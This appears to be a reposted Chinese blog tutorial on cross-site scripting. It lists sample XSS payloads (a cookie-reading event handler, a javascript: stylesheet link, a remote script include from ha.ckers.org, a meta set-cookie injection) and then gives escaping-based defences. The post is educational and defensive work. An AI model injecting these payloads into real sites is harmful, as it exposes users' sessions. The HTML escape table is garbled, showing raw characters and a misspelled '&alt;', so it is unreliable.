▍XSS
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
▍通俗来说
通俗点说,就是通过在css或者html里嵌入一些恶意的Javascript代码,从而实现恶意攻击的目的。
那么这些Javascript代码又是如何嵌入进去的呢?
▍XSS方式
1、 输入框中直接输入恶意脚本,如:
">
2、输入框中输入html标签,在标签中嵌入恶意脚本,如src,href,css,style等。
3、将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。
<a οnmοuseοver="alert(document.cookie)">
xxslink</a>4、在remote style sheet,javascript中,如
<link rel="stylesheet" href="javascript:alert('XSS');" />
<script src="http://ha.ckers.org/xss.js"></script>5、meta标签,如<meta http-equiv="refresh" content="5" />
<meta http-equiv="set-cookie" content="usetid=<script>alert('XSS')</script>" />▍切记切记
用于不要把任何来自用户的内容放到下面这些地方:
script标签:<script> not here </script>
html注释:<!-- not here -->
标签名:<nothere href="/test.html" />
属性:<div nothere="nothere" />
css值:{color : not here}
▍防范方法
网上防范XSS攻击的方法一搜就一大堆,但是无论方法有多少,始终是万变不离其宗。
1、转义用户的内容
a、HTML:对以下这些字符进行转义:
&:&
<:&alt;
>:>
':'
":"
/:/
b、Javascript:把所有非字母、数字的字符都转义成小于256的ASCII字符;
c、URL:使用Javascript的encodeURIComponent()方法对用户的输入进行编码,该方法会编码如下字符:, / ? : @ & = + $ #
2、添加用户生成的内容
a、Javascript:使用textContent或者innerText,而不能使用innerHTML;
b、jquery:使用text(),而不能使用html();
---------------------
作者:颜值界扛把子 来源:CSDN 原文:https://blog.csdn.net/i_dont_know_a/article/details/80560940 版权声明:本文为博主原创文章,转载请附上博文链接!